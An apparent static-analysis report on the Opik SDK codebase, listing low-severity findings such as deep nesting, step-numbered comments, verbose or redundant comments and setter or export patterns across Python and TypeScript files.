LOWsdks/python/src/opik/context_storage.py223 def set_trace_data(self, trace: Optional[trace.TraceData]) -> None:CODE
LOWsdks/python/src/opik/__init__.py67__all__ = [CODE
LOWsdks/python/src/opik/tracing_runtime_config.py13 def set_tracing_active(self, active: bool) -> None:CODE
LOW⚡sdks/python/src/opik/tracing_runtime_config.py39def set_tracing_active(active: bool) -> None:CODE
LOWsdks/python/src/opik/error_tracking/__init__.py7__all__ = [CODE
LOWsdks/python/src/opik/llm_usage/__init__.py9__all__ = [CODE
LOWsdks/python/src/opik/guardrails/__init__.py5__all__ = [CODE
LOWsdks/python/src/opik/guardrails/guards/__init__.py8__all__ = ["Guard", "Topic", "PII", "LLMJudge", "PromptInjection", "CustomGuardrail"]CODE
LOW…/python/src/opik/decorator/context_manager/__init__.py5__all__ = [CODE
LOWsdks/python/src/opik/decorator/opik_args/__init__.py8__all__ = [CODE
LOWsdks/python/src/opik/runner/registry.py13logger = logging.getLogger(__name__)CODE
LOWsdks/python/src/opik/runner/tui.py279 def _update_live(self) -> None:CODE
LOW…python/src/opik/runner/bridge_handlers/syntax_check.py12logger = logging.getLogger(__name__)CODE
LOWsdks/python/src/opik/simulation/__init__.py6__all__ = ["SimulatedUser", "run_simulation"]CODE
LOW…age_processing/emulation/emulator_message_processor.py123 def set_active(self, active: bool) -> None:CODE
LOW…on/src/opik/message_processing/permissions/__init__.py3__all__ = [CODE
LOW…ython/src/opik/message_processing/replay/db_manager.py368 def update_message(self, message_id: int, status: MessageStatus) -> None:CODE
LOW…n/src/opik/message_processing/replay/replay_manager.py135 def set_replay_callback(self, callback: types.ReplayCallback) -> None:CODE
LOWsdks/python/src/opik/cli/__init__.py5__all__ = ["cli"]CODE
LOWsdks/python/src/opik/cli/local_runner/__init__.py10__all__ = ["connect", "endpoint"]CODE
LOWsdks/python/src/opik/cli/healthcheck/__init__.py5__all__ = ["healthcheck"]CODE
LOWsdks/python/src/opik/cli/exports/trace_filter.py7logger = logging.getLogger(__name__)CODE
LOWsdks/python/src/opik/cli/migrate/__init__.py9__all__ = ["migrate_group"]CODE
LOWsdks/python/src/opik/cli/migrate/datasets/resolver.py175__all__ = [CODE
LOWsdks/python/src/opik/cli/migrate/prompts/resolver.py160__all__ = [CODE
LOWsdks/python/src/opik/cli/usage_report/__init__.py9__all__ = [CODE
LOWsdks/python/src/opik/integrations/aisuite/__init__.py4__all__ = ["track_aisuite"]CODE
LOW⚡sdks/python/src/opik/integrations/dspy/callback.py376 def _set_current_context_data(self, value: SpanOrTraceData) -> None:CODE
LOWsdks/python/src/opik/integrations/dspy/__init__.py3__all__ = ["OpikCallback"]CODE
LOWsdks/python/src/opik/integrations/crewai/__init__.py4__all__ = ["track_crewai"]CODE
LOW…thon/src/opik/integrations/crewai/patchers/__init__.py5__all__ = ["patch_flow", "patch_llm_client", "patch_litellm_completion"]CODE
LOWsdks/python/src/opik/integrations/agentspec/__init__.py3__all__ = ["AgentSpecInstrumentor", "OpikSpanProcessor"]CODE
LOW…/src/opik/integrations/agentspec/opik_spanprocessor.py21logger = logging.getLogger(__name__)CODE
LOW…ks/python/src/opik/integrations/guardrails/__init__.py3__all__ = ["track_guardrails"]CODE
LOWsdks/python/src/opik/integrations/harbor/__init__.py17__all__ = ["track_harbor", "reset_harbor_tracking"]CODE
LOW…/python/src/opik/integrations/langchain/opik_tracer.py219 def set_graph(self, graph: "Graph") -> None:CODE
LOWsdks/python/src/opik/integrations/langchain/__init__.py11__all__ = [CODE
LOW…rations/langchain/response_cost_extractors/__init__.py3__all__ = [CODE
LOW…ations/langchain/provider_usage_extractors/__init__.py3__all__ = [CODE
LOW…der_usage_extractors/langchain_run_helpers/__init__.py9__all__ = [CODE
LOW…s/python/src/opik/integrations/llama_index/__init__.py3__all__ = ["LlamaIndexCallbackHandler"]CODE
LOWsdks/python/src/opik/integrations/groq/__init__.py3__all__ = ["track_groq"]CODE
LOWsdks/python/src/opik/integrations/otel/__init__.py8__all__ = [CODE
LOWsdks/python/src/opik/integrations/typesafe/__init__.py3__all__ = ["track_typesafe"]CODE
LOWsdks/python/src/opik/integrations/bedrock/__init__.py3__all__ = ["track_bedrock"]CODE
LOW…ons/bedrock/invoke_model/chunks_aggregator/__init__.py76__all__ = [CODE
LOW…python/src/opik/integrations/adk/legacy_opik_tracer.py119 def _set_current_context_data(self, value: SpanOrTraceData) -> None:CODE
LOWsdks/python/src/opik/integrations/adk/__init__.py14__all__ = ["OpikTracer", "track_adk_agent_recursive", "build_mermaid_graph_definition"]CODE
LOW…/python/src/opik/integrations/adk/patchers/__init__.py4__all__ = ["patch_adk"]CODE
LOW…hon/src/opik/integrations/haystack/opik_span_bridge.py41 def set_tag(self, key: str, value: Any) -> None:CODE
LOW…hon/src/opik/integrations/haystack/opik_span_bridge.py57 def set_content_tag(self, key: str, value: Any) -> None:CODE
LOW…hon/src/opik/integrations/haystack/opik_span_bridge.py177 def set_tags(self, tags: Dict[str, Any]) -> None:CODE
278 more matches not shown…
Deep Nesting323 hits · 301 pts
SeverityFileLineSnippetContext
LOW…on/tests/unit/cli/test_export_project_rate_limiting.py250CODE
LOW…on/tests/unit/cli/test_export_project_rate_limiting.py312CODE
LOW…on/tests/unit/cli/test_export_project_rate_limiting.py343CODE
LOW…on/tests/unit/cli/test_export_project_rate_limiting.py601CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py222CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py245CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py396CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py402CODE
LOW…tests/unit/evaluation/test_evaluate_experiment_name.py395CODE
LOW…tests/unit/evaluation/test_evaluate_experiment_name.py550CODE
LOW…tests/unit/evaluation/test_evaluate_experiment_name.py706CODE
LOW…thon/tests/unit/evaluation/test_evaluate_experiment.py46CODE
LOW…thon/tests/unit/evaluation/test_evaluate_experiment.py68CODE
LOW…thon/tests/unit/evaluation/test_evaluate_experiment.py129CODE
LOW…s/python/tests/unit/evaluation/test_asyncio_support.py55CODE
LOW…s/python/tests/unit/evaluation/test_asyncio_support.py68CODE
LOW…s/python/tests/unit/evaluation/test_asyncio_support.py85CODE
LOWsdks/python/tests/unit/evaluation/test_evaluate.py92CODE
LOWsdks/python/tests/testlib/noop_file_upload_manager.py23CODE
LOWsdks/python/tests/e2e/runner/test_runner_e2e.py97CODE
LOWsdks/python/tests/e2e/runner/test_runner_e2e.py102CODE
LOWsdks/python/tests/e2e/cli/conftest.py620CODE
LOWsdks/python/tests/e2e/evaluation/test_multimodal.py54CODE
LOWsdks/python/tests/e2e/evaluation/test_multimodal.py60CODE
LOWsdks/python/src/opik/jsonable_encoder.py29CODE
LOWsdks/python/src/opik/httpx_client.py216CODE
LOWsdks/python/src/opik/semantic_version.py140CODE
LOWsdks/python/src/opik/file_upload/upload_manager.py70CODE
LOWsdks/python/src/opik/runner/in_process_loop.py199CODE
LOWsdks/python/src/opik/runner/in_process_loop.py254CODE
LOWsdks/python/src/opik/runner/supervisor.py264CODE
LOWsdks/python/src/opik/runner/supervisor.py342CODE
LOWsdks/python/src/opik/runner/bridge_loop.py76CODE
LOWsdks/python/src/opik/runner/snapshot.py97CODE
LOWsdks/python/src/opik/runner/snapshot.py137CODE
LOW…ks/python/src/opik/runner/bridge_handlers/edit_file.py183CODE
LOW…python/src/opik/runner/bridge_handlers/exec_command.py84CODE
LOW…s/python/src/opik/runner/bridge_handlers/list_files.py67CODE
LOWsdks/python/src/opik/simulation/simulated_user.py89CODE
LOWsdks/python/src/opik/message_processing/streamer.py52CODE
LOW…/python/src/opik/message_processing/encoder_helpers.py45CODE
LOW…age_processing/emulation/emulator_message_processor.py350CODE
LOW…sage_processing/processors/online_message_processor.py92CODE
LOW…/src/opik/message_processing/batching/batch_manager.py69CODE
LOW…/opik/message_processing/batching/sequence_splitter.py42CODE
LOW…ython/src/opik/message_processing/replay/db_manager.py304CODE
LOW…ython/src/opik/message_processing/replay/db_manager.py368CODE
LOW…ython/src/opik/message_processing/replay/db_manager.py464CODE
LOWsdks/python/src/opik/cli/terminal_session.py32CODE
LOWsdks/python/src/opik/cli/terminal_session.py190CODE
LOWsdks/python/src/opik/cli/selector.py72CODE
LOWsdks/python/src/opik/cli/selector.py193CODE
LOWsdks/python/src/opik/cli/selector.py214CODE
LOWsdks/python/src/opik/cli/mcp.py344CODE
LOWsdks/python/src/opik/cli/mcp.py695CODE
LOWsdks/python/src/opik/cli/local_runner/pairing.py474CODE
LOWsdks/python/src/opik/cli/healthcheck/smoke_test.py40CODE
LOWsdks/python/src/opik/cli/healthcheck/smoke_test.py131CODE
LOWsdks/python/src/opik/cli/imports/__init__.py32CODE
LOWsdks/python/src/opik/cli/imports/all.py45CODE
263 more matches not shown…
Structural Annotation Overuse165 hits · 278 pts
SeverityFileLineSnippetContext
LOWsdks/python/design/API_AND_DATA_FLOW.md547#### Step 1: User Creates TraceCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md560#### Step 2: API Layer - Message CreationCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md602#### Step 3: Message Processing Layer - RoutingCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md638#### Step 4: Batching (Optional)COMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md687#### Step 5: Queue and ConsumerCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md703#### Step 6: Message Processing - Handler ExecutionCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md728#### Step 7: REST API LayerCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md751#### Step 8: Backend StorageCOMMENT
LOW⚡sdks/python/tests/e2e/test_prompt.py1559 # Step 4: clear all environments.COMMENT
LOWsdks/python/tests/e2e/test_prompt.py1506 # Step 1: create v1 and pin it to environment_name; a newer v2 existsCOMMENT
LOWsdks/python/tests/e2e/test_prompt.py1526 # Step 2: add second_environment_name; both envs must be visible on the same version.COMMENT
LOWsdks/python/tests/e2e/test_prompt.py1545 # Step 3: move ownership exclusively to second_environment_name.COMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py296 # Step 1: Prepare test dataCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py306 # Step 2: Export traces using direct function callCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py365 # Step 1: Prepare test dataCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py374 # Step 2: Export datasets using direct function callCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py442 # Step 1: Prepare test dataCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py452 # Step 2: Export prompts using direct function callCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py528 # Step 1: Prepare test data (minimal)COMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py533 # Step 2: Export all data types with limited results using direct function callsCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py808 # Step 1: Create two datasetsCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py955 # Step 1: Create a test chat promptCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py965 # Step 2: Export chat prompt using direct function callCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py1053 # Step 1: Prepare test data with experimentsCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py1060 # Step 2: Export the project data (traces) using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py341 # Step 3: Import traces using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py411 # Step 3: Import datasets using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py490 # Step 3: Import prompts using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py593 # Step 3: Import all data types using direct function callsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py842 # Step 2: Create two experiments with different datasetsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py895 # Step 3: Export experiments filtered by dataset1COMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py909 # Step 4: Verify only experiment1 was exported. Files are named byCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py936 # Step 5: Verify the exported experiment has the correct datasetCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1006 # Step 3: Import chat prompt using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1106 # Step 3: Test import (experiments are automatically recreated) using direct function callCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py129 # Step 1: Collect all dataset_item_id and dataset_item_data from experiment filesCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py189 # Step 2: Import datasetsCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py241 # Step 3: Get all imported dataset items and match by contentCOMMENT
LOW…ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md11### Step 1: Create the Aggregator ModuleCOMMENT
LOW…ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md82### Step 2: Register the FormatCOMMENT
LOW…ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md101### Step 3: Test Your New FormatCOMMENT
LOW…tions/bedrock/invoke_model/chunks_aggregator/README.md36### Step 1: Create Aggregator ModuleCOMMENT
LOW…tions/bedrock/invoke_model/chunks_aggregator/README.md91### Step 2: Register FormatCOMMENT
LOW…tions/bedrock/invoke_model/chunks_aggregator/README.md110### Step 3: Done!COMMENT
LOW⚡sdks/python/src/opik/configurator/configure.py225 # Step 1: If the URL is provided and active, update the configurationCOMMENT
LOW⚡sdks/python/src/opik/configurator/configure.py234 # Step 2: Check if the default local instance is activeCOMMENT
LOW⚡sdks/python/src/opik/configurator/configure.py266 # Step 4: Ask user for URL if no valid local instance is found or approvedCOMMENT
LOWsdks/python/src/opik/configurator/configure.py247 # Step 3: Ask user if they want to use the found local instanceCOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md391### Step 1: Create Package StructureCOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md423### Step 2: Implement Wrapper/HandlerCOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md513### Step 3: Add Response ParsingCOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md544### Step 4: Export Public APICOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md552### Step 5: Add TestsCOMMENT
LOW⚡sdks/typescript/tests/integration/connection.test.ts44 // Step 1: Get the resolved config through the public APICOMMENT
LOW⚡sdks/typescript/tests/integration/connection.test.ts47 // Step 2: Clear ALL env vars so only explicit config can provide valuesCOMMENT
LOW⚡sdks/typescript/tests/integration/connection.test.ts58 // Step 3: Pass resolved values as explicit configCOMMENT
LOW⚡sdks/typescript/tests/integration/connection.test.ts68 // Step 4: Verify explicit values are used (not defaults, not env)COMMENT
LOWsdks/typescript/tests/integration/connection.test.ts79 // Step 5: Restore env varsCOMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts74 // Step 1: create v1, pin it to envA via setPromptEnvironments, then pushCOMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts101 // Step 2: expand to both envs on v1's version.COMMENT
105 more matches not shown…
AI Structural Patterns330 hits · 273 pts
SeverityFileLineSnippetContext
LOW…hon/tests/unit/decorator/test_decorator_span_errors.py52CODE
LOW…hon/tests/unit/decorator/test_decorator_span_errors.py71CODE
LOW…ts/unit/cli/test_migrate_dataset_resume_reconstruct.py30CODE
LOW…unit/cli/test_migrate_dataset_optimizations_cascade.py46CODE
LOW…ks/python/tests/unit/cli/test_export_error_handling.py229CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py65CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py122CODE
LOWsdks/python/tests/unit/cli/test_mcp.py1264CODE
LOW…integration/metrics_with_llm_judge/agentic/_seeding.py63CODE
LOW…s/e2e_library_integration/litellm/test_opik_logging.py31CODE
LOWsdks/python/tests/e2e/verifiers.py92CODE
LOWsdks/python/tests/e2e/verifiers.py182CODE
LOWsdks/python/tests/e2e/verifiers.py875CODE
LOWsdks/python/tests/e2e/verifiers.py904CODE
LOWsdks/python/tests/e2e/test_guardrails.py55CODE
LOWsdks/python/tests/e2e/cli/conftest.py141CODE
LOWsdks/python/tests/e2e/cli/conftest.py337CODE
LOWsdks/python/examples/langchain_integration_example.py9CODE
LOWsdks/python/src/opik/environment_details.py133CODE
LOWsdks/python/src/opik/opik_context.py59CODE
LOWsdks/python/src/opik/opik_context.py126CODE
LOWsdks/python/src/opik/jsonable_encoder.py120CODE
LOWsdks/python/src/opik/httpx_client.py216CODE
LOW…hon/src/opik/llm_usage/base_original_provider_usage.py45CODE
LOWsdks/python/src/opik/guardrails/tracing.py41CODE
LOWsdks/python/src/opik/guardrails/tracing.py53CODE
LOWsdks/python/src/opik/decorator/base_track_decorator.py60CODE
LOWsdks/python/src/opik/decorator/tracker.py62CODE
LOWsdks/python/src/opik/decorator/tracker.py78CODE
LOW…opik/decorator/context_manager/span_context_manager.py14CODE
LOW…pik/decorator/context_manager/trace_context_manager.py15CODE
LOWsdks/python/src/opik/plugins/pytest/decorator.py129CODE
LOWsdks/python/src/opik/plugins/pytest/decorator.py84CODE
LOWsdks/python/src/opik/runner/supervisor.py62CODE
LOWsdks/python/src/opik/cli/exports/project.py427CODE
LOW…hon/src/opik/integrations/aisuite/aisuite_decorator.py76CODE
LOW…hon/src/opik/integrations/aisuite/aisuite_decorator.py155CODE
LOW…ython/src/opik/integrations/crewai/crewai_decorator.py107CODE
LOW…ython/src/opik/integrations/crewai/crewai_decorator.py178CODE
LOW…c/opik/integrations/guardrails/guardrails_decorator.py62CODE
LOW…c/opik/integrations/guardrails/guardrails_decorator.py83CODE
LOW…/python/src/opik/integrations/langchain/opik_tracer.py123CODE
LOW…k/integrations/groq/groq_chat_completions_decorator.py75CODE
LOW…k/integrations/groq/groq_chat_completions_decorator.py117CODE
LOW…rc/opik/integrations/bedrock/invoke_agent_decorator.py55CODE
LOW…rc/opik/integrations/bedrock/invoke_agent_decorator.py72CODE
LOW…rations/bedrock/invoke_model/invoke_model_decorator.py71CODE
LOW…ik/integrations/bedrock/converse/converse_decorator.py59CODE
LOW…ik/integrations/bedrock/converse/converse_decorator.py86CODE
LOW…s/adk/patchers/adk_otel_tracer/opik_adk_otel_tracer.py106CODE
LOW…ks/python/src/opik/integrations/haystack/converters.py30CODE
LOW…ik/integrations/anthropic/messages_create_decorator.py62CODE
LOW…ik/integrations/anthropic/messages_create_decorator.py106CODE
LOW…ations/cerebras/cerebras_chat_completions_decorator.py76CODE
LOW…ations/cerebras/cerebras_chat_completions_decorator.py118CODE
LOW…/opik/integrations/genai/generate_content_decorator.py91CODE
LOW…/opik/integrations/genai/generate_content_decorator.py138CODE
LOW…opik/integrations/openai/openai_responses_decorator.py88CODE
LOW…opik/integrations/openai/openai_responses_decorator.py127CODE
LOW…tegrations/openai/openai_chat_completions_decorator.py89CODE
270 more matches not shown…
Verbosity Indicators99 hits · 162 pts
SeverityFileLineSnippetContext
LOW⚡sdks/python/tests/e2e/test_prompt.py1559 # Step 4: clear all environments.COMMENT
LOWsdks/python/tests/e2e/test_prompt.py1506 # Step 1: create v1 and pin it to environment_name; a newer v2 existsCOMMENT
LOWsdks/python/tests/e2e/test_prompt.py1526 # Step 2: add second_environment_name; both envs must be visible on the same version.COMMENT
LOWsdks/python/tests/e2e/test_prompt.py1545 # Step 3: move ownership exclusively to second_environment_name.COMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py296 # Step 1: Prepare test dataCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py306 # Step 2: Export traces using direct function callCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py365 # Step 1: Prepare test dataCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py374 # Step 2: Export datasets using direct function callCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py442 # Step 1: Prepare test dataCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py452 # Step 2: Export prompts using direct function callCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py528 # Step 1: Prepare test data (minimal)COMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py533 # Step 2: Export all data types with limited results using direct function callsCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py808 # Step 1: Create two datasetsCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py955 # Step 1: Create a test chat promptCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py965 # Step 2: Export chat prompt using direct function callCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py1053 # Step 1: Prepare test data with experimentsCOMMENT
LOW⚡sdks/python/tests/e2e/test_cli_import_export.py1060 # Step 2: Export the project data (traces) using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py341 # Step 3: Import traces using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py411 # Step 3: Import datasets using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py490 # Step 3: Import prompts using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py593 # Step 3: Import all data types using direct function callsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py842 # Step 2: Create two experiments with different datasetsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py895 # Step 3: Export experiments filtered by dataset1COMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py909 # Step 4: Verify only experiment1 was exported. Files are named byCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py936 # Step 5: Verify the exported experiment has the correct datasetCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1006 # Step 3: Import chat prompt using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1106 # Step 3: Test import (experiments are automatically recreated) using direct function callCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py129 # Step 1: Collect all dataset_item_id and dataset_item_data from experiment filesCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py189 # Step 2: Import datasetsCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py241 # Step 3: Get all imported dataset items and match by contentCOMMENT
LOW⚡sdks/python/src/opik/configurator/configure.py225 # Step 1: If the URL is provided and active, update the configurationCOMMENT
LOW⚡sdks/python/src/opik/configurator/configure.py234 # Step 2: Check if the default local instance is activeCOMMENT
LOW⚡sdks/python/src/opik/configurator/configure.py266 # Step 4: Ask user for URL if no valid local instance is found or approvedCOMMENT
LOWsdks/python/src/opik/configurator/configure.py247 # Step 3: Ask user if they want to use the found local instanceCOMMENT
LOW⚡sdks/typescript/tests/integration/connection.test.ts44 // Step 1: Get the resolved config through the public APICOMMENT
LOW⚡sdks/typescript/tests/integration/connection.test.ts47 // Step 2: Clear ALL env vars so only explicit config can provide valuesCOMMENT
LOW⚡sdks/typescript/tests/integration/connection.test.ts58 // Step 3: Pass resolved values as explicit configCOMMENT
LOW⚡sdks/typescript/tests/integration/connection.test.ts68 // Step 4: Verify explicit values are used (not defaults, not env)COMMENT
LOWsdks/typescript/tests/integration/connection.test.ts79 // Step 5: Restore env varsCOMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts74 // Step 1: create v1, pin it to envA via setPromptEnvironments, then pushCOMMENT
LOW…ript/tests/integration/api/prompt-environments.test.ts101 // Step 2: expand to both envs on v1's version.COMMENT
LOW⚡…ript/tests/integration/api/prompt-environments.test.ts118 // Step 3: move ownership exclusively to envB.COMMENT
LOW⚡…ript/tests/integration/api/prompt-environments.test.ts127 // Step 4: clear all environments.COMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts40 // Step 1: Create or get a dataset for customer support evaluationsCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts72 // Step 2: Create a prompt using the Prompt management systemCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts95 // Step 3: Set up evaluation metricsCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts110 // Step 4: Evaluate the prompt against the datasetCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts133 // Step 5: Display evaluation resultsCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts153 // Step 6: Advanced usage - Create a new version of the promptCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts180 // Step 7: Re-evaluate with the improved promptCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts215 // Step 8: Retrieve prompt by name and versionCOMMENT
LOW…ks/typescript/examples/evaluate-prompt-with-metrics.ts233 // Step 9: Format a prompt manually (without evaluation)COMMENT
LOWsdks/typescript/examples/evaluate-prompt-basic.ts12 // Step 1: Get or create a datasetCOMMENT
LOW⚡sdks/typescript/examples/evaluate-prompt-basic.ts28 // Step 2: Create a promptCOMMENT
LOW⚡sdks/typescript/examples/evaluate-prompt-basic.ts36 // Step 3: Create metricsCOMMENT
LOW⚡sdks/typescript/examples/evaluate-prompt-basic.ts40 // Step 4: Run evaluationCOMMENT
LOW⚡sdks/typescript/examples/evaluate-prompt-basic.ts50 // Step 5: View resultsCOMMENT
LOWsdks/typescript/src/opik/configure/src/nodejs/docs.ts216 // Step 1: Context retrieval spanCOMMENT
LOWsdks/typescript/src/opik/configure/src/nodejs/docs.ts232 // Step 2: LLM generation spanCOMMENT
LOWsdks/typescript/src/opik/configure/src/nodejs/docs.ts257 // Step 3: Post-processing spanCOMMENT
39 more matches not shown…
Redundant / Tautological Comments95 hits · 144 pts
SeverityFileLineSnippetContext
LOWopik.sh635 # Check if either curl or wget is availableCOMMENT
LOW…ests/unit/evaluation/metrics/test_arguments_helpers.py66 # Check if the `unused_kwarg` is present in the exception messageCOMMENT
LOW…/tests/library_integration/langchain/test_langgraph.py535 # Check if the output contains either direct messages or wrapped in Command structureCOMMENT
LOW…/tests/library_integration/langchain/test_langgraph.py1831 # Check if question is ambiguousCOMMENT
LOWsdks/python/tests/e2e_smoke/smoke_tests_runner.sh13# Check if any Python files were foundCOMMENT
LOW…ests/e2e_library_integration/harbor/test_harbor_e2e.py251 # Print output for debugging visibilityCOMMENT
LOWsdks/python/tests/e2e/test_annotation_queue.py176 # Add threads to queueCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py268 # Set environment to disable rich output for better subprocess captureCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py319 # Check if the directory was createdCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py773 # Check if it at least didn't create any filesCOMMENT
LOWsdks/python/src/opik/decorator/opik_args/helpers.py31 # Check if a function has opik_args in its signatureCOMMENT
LOW⚡…e_processing/preprocessing/attachments_preprocessor.py45 # Check if it's an Update message - always process theseCOMMENT
LOW⚡…e_processing/preprocessing/attachments_preprocessor.py49 # Check if it's a Create message with end_time set - only process theseCOMMENT
LOWsdks/python/src/opik/cli/imports/dataset.py79 # Check if name is missing or emptyCOMMENT
LOWsdks/python/src/opik/cli/imports/prompt.py64 # Check if name is missing or emptyCOMMENT
LOWsdks/python/src/opik/cli/exports/dataset.py208 # Check if file already exists and should be skippedCOMMENT
LOWsdks/python/src/opik/cli/exports/experiment.py118 # Check if file already exists and should be skippedCOMMENT
LOWsdks/python/src/opik/cli/exports/experiment.py338 # Write files in parallelCOMMENT
LOWsdks/python/src/opik/cli/exports/prompt.py392 # Check if file already exists and should be skippedCOMMENT
LOWsdks/python/src/opik/cli/exports/prompt.py503 # Check if metadata is a dict and has "prompts" keyCOMMENT
LOWsdks/python/src/opik/cli/exports/prompt.py590 # Check if file should be skipped using the standard utilityCOMMENT
LOWsdks/python/src/opik/cli/usage_report/extraction.py171 # Check if within date rangeCOMMENT
LOWsdks/python/src/opik/cli/usage_report/extraction.py194 # Check if there are more pagesCOMMENT
LOWsdks/python/src/opik/cli/usage_report/extraction.py499 # Check if there are more pagesCOMMENT
LOWsdks/python/src/opik/cli/usage_report/extraction.py662 # Check if within date rangeCOMMENT
LOWsdks/python/src/opik/cli/usage_report/utils.py219 # Check if within date rangeCOMMENT
LOW…ks/python/src/opik/integrations/harbor/opik_tracker.py180 # Check if already patchedCOMMENT
LOW…n/src/opik/integrations/langchain/run_parse_helpers.py207 # Check if the value was originally a quoted stringCOMMENT
LOW⚡…n/src/opik/integrations/langchain/run_parse_helpers.py254 # Check if it's a Command object (has a resume attribute)COMMENT
LOW⚡…n/src/opik/integrations/langchain/run_parse_helpers.py257 # Check if it's a serialized Command dictCOMMENT
LOW…/python/src/opik/integrations/langchain/opik_tracer.py311 # Check if any child span has a GraphInterrupt output and use it for trace outputCOMMENT
LOW…/python/src/opik/integrations/langchain/opik_tracer.py420 # Check if the parent is a skipped LangGraph/LangChain root run.COMMENT
LOW…/python/src/opik/integrations/langchain/opik_tracer.py539 # Check if we have trace data (new trace) or distributed headersCOMMENT
LOW…ider_usage_extractors/langchain_run_helpers/helpers.py132 # Check if the current dictionary contains any or all of the candidate keysCOMMENT
LOW…s/python/src/opik/integrations/llama_index/callback.py140 # Check if the output for the last event is already available.COMMENT
LOW…s/python/src/opik/integrations/llama_index/callback.py255 # Check if there's a pending root trace/span output update for this event.COMMENT
LOW…rations/bedrock/invoke_model/invoke_model_decorator.py80 # Check if this is a structured aggregated response dataclassCOMMENT
LOWsdks/python/src/opik/integrations/adk/opik_tracer.py430 # Check if this response contains actual content (first token)COMMENT
LOWsdks/python/src/opik/evaluation/report.py113 # Display resultsCOMMENT
LOWsdks/python/src/opik/evaluation/report.py184 # Display resultsCOMMENT
